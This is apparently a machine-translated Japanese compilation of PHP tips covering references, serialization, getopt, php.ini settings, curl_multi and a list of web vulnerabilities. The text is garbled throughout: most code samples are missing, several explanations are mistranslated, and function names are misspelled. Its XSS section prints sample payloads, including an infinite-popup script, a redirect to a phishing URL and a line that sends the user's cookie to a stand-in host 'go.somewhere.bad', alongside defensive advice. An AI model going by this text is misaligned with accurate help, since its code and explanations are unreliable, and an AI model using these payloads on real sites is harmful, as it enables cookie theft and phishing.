1. PHP の暗黙的な三項演算子 (?:) の優先課題:
例 1:
$a = $arr[$i]; php にプロンプトが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
複雑なデータ型を文字列に圧縮
serialize() 変数とその値をテキスト形式にエンコードunserialize() 元の変数を復元
コードをコピー
コードは次のとおりです:
$stooges = array ('モー','ラリー','カーリー');
echo 'next';
margic_quotes_gpc と magic_quotes_runtime構成項目の設定は、unserialize() に渡されるデータに影響します。
4. 参考メモ
PHPにおける参照とは、同じ変数の内容に別の名前でアクセスすることを意味します(C言語におけるポインタは変数の内容とメモリに格納されたアドレス)。別のエイリアスまたは変数のマッピング。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除します。これは、変数名と変数の内容の間のバインドを解除するだけです。これは、変数の内容が破棄されるという意味ではありません
例: $b は設定解除されず、$a のみが解除されます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。 $a = array('a','c'...'n'); $ b = $a;
ここでのみプログラムが実行される場合、$b と $b は同じですが、C のように異なるメモリ空間を占有するのではなく、同じメモリ空間を指します。これが php と の違いです。 c は、$b が $a のメモリを指すように $b=&$a と記述する必要がないことです。zend はすでに参照を実装しており、いつ実装すべきかを判断するのに非常に役立ちます。この方法で処理すべきではない場合は、これを実行してください。後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
コードをコピーします
コードは次のとおりです:
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、対応する変更を加えます。
上記のコードを次のように変更すると:
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか? $str = "こんにちは、こんにちは";
エコー strlen($str);
6. PHP でパラメータを取得する 3 つの方法
方法 1 は $argc $argv を使用します
コードをコピーします
コードをコピーします
コードは次のとおりです:
$options = "f:g:"
$opts = getopt( $options ); ($opts) ;
/usr/local/php/bin/php ./getopt.php -f 123 -g 456 の実行結果:
Array ] => 456 )
7. PHP 文字列は、C ポインター文字列と同様に配列として扱うことができます
8. PHPの効率的な書き方:
9. PHPのセキュリティ上の脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
PHP で次の 5 つの関数を使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、"(shell_exec と同じ関数) 例:
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
コードをコピーします
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終了を引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。 """ 、セミコロン ";" を ";" に置き換えます
3. クライアント側のスクリプト攻撃 (スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換します。
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入します。ユーザーがページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
<script>document.location= “go.somewhere.bad?cookie=+”this.cookie</script>を挿入しますまたはリンク:
http://w w w.my.site/index.php?user=
2) ターゲットユーザーはこのWebサイトにログインし、ログインプロセス中に攻撃者によって送信されたxssリンクを開きました
3) Web サイトはこの xss 攻撃スクリプトを実行しました
4) 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5) 攻撃者はターゲットユーザーの情報を使用してWebサイトにログインし、攻撃を完了します
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
5. SQLインジェクション攻撃(SQLインジェクション)
SQL インジェクションを防ぐ最も効果的な方法は、プリペアド ステートメントを使用することです。
準備されたステートメント (準備されたステートメントとも呼ばれます) はクエリの一種であり、プリコンパイルと準備のために最初にサーバーに送信され、後でクエリが実行されるときにパラメーターが保存されている場所が通知されます。
利点:
1) パラメータ値をエスケープします。したがって、mysqli::real_escape_string のようなものを呼び出したり、パラメータを引用符で囲んだりする必要はありません。
2) スクリプトで複数回実行すると、通常、クエリを毎回ネットワーク経由で送信するよりも、準備されたステートメントのパフォーマンスが向上します。クエリが再度実行されると、パラメータのみがデータベースに送信されるため、必要なスペースが少なくなります。 。1) PDO (PHP データ オブジェクト) を使用します。
コードをコピーします。
7. セッションハイジャック
8. セッションの固定
9. HTTP レスポンスの分割
10. ファイルアップロード攻撃
11. ディレクトリトラバーサル
12. リモートファイルインクルージョン攻撃(Remote Inclusion)
13. 動的関数注入攻撃(動的変数評価)
14. URL攻撃
15. なりすましフォームの送信
16. スプーフィングされた HTTP リクエスト
いくつかの重要な php.ini オプション: register_globals、magic_quotes、safe_mode。 これらのオプションは PHP5.4 で非推奨になります。
register_globals:
php>=4.2.0、register_globals
の場合、php.ini の register_globals オプションのデフォルト値はオフです。が On に設定されている場合、プログラムはフォームによって送信された変数を含むさまざまな環境変数をサーバーから受け取ることができます。また、PHP は変数の値を事前に初期化する必要がないため、大きなセキュリティ リスクにつながります。
register_globals が無効になっていることを確認してください。 register_globals が有効な場合、$variable を使用して GET または POST 文字列を同じ名前に置き換えるなどの不注意な行為が可能になります。この設定を無効にすると、PHP は正しい名前空間の正しい変数を参照するように強制します。フォーム POST から変数を使用するには、$_POST['variable'] を引用符で囲む必要があります。こうすることで、この特定の変数を Cookie、セッション、または GET 変数と間違えることがなくなります。
セーフモード:
セーフ モードでは、PHP はドキュメントへのアクセスを制限し、環境変数へのアクセスを制限し、外部プログラムの実行を制御するために使用されます。セーフモードを有効にするには、php.iniでsafe_mode=Onを設定する必要があります
magic_quotes
PHP プログラムの入力情報を自動的にエスケープするために使用されます。すべての一重引用符 ("'")、二重引用符 (""")、バックスラッシュ ("")、およびヌル文字 (NULL) が自動的に追加されます。バックスラッシュはエスケープされます。 =On は、Magicquotes を On に設定するために使用されます。これは、HTTP リクエスト データ (GET、POST、Cookie) に影響します。プログラマは、addslashes を使用して送信された HTTP リクエスト データをエスケープしたり、stripslashes を使用してデータを削除したりすることもできます。
10. 複数のcurlリクエストの同時使用
。
file_get_contents('http://a.php');//1 秒file_get_contents('http://b.php');//2秒
file_get_contents('http://c.php');//2秒
ここでは 5 秒かかりますが、curl の muti メソッドを操作することで、わずか 2 秒でリクエストを完了できます。次のとおりです。$ curl_multi_init();リクエストキューへの残りの接続:
参考: ブロックせずにcurl_multi()を使用する方法
11. オブジェクト属性が空かどうかを判断するために空のマジックメソッド __get を使用しても機能しません
マジック メソッド __get を使用する場合、クラスの存在しない/非パブリック変数に対して empty() を呼び出した場合の結果は少し混乱することに注意してください (gmx dot de で nahpeps によって前述されているように)。次の例を考えてみましょう。 コードをコピーします
コードは次のとおりです:
var_dump($ registry->notEmpty)); // true、.. 何か?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)) // 予想通り false
; 12. Linux でコマンドラインから実行される php ファイルの形式は unix である必要があります。
php ./test.php
test.phpがwindosからアップロードされた場合、その形式はdosである可能性があります。
その後、このコマンドを実行すると、エラー メッセージが表示されます: 入力ファイルを開けませんでした
dos 形式の場合は、set ff=unix を使用して新しい形式を設定する必要があります
fileformat=unix
www.bkjia.com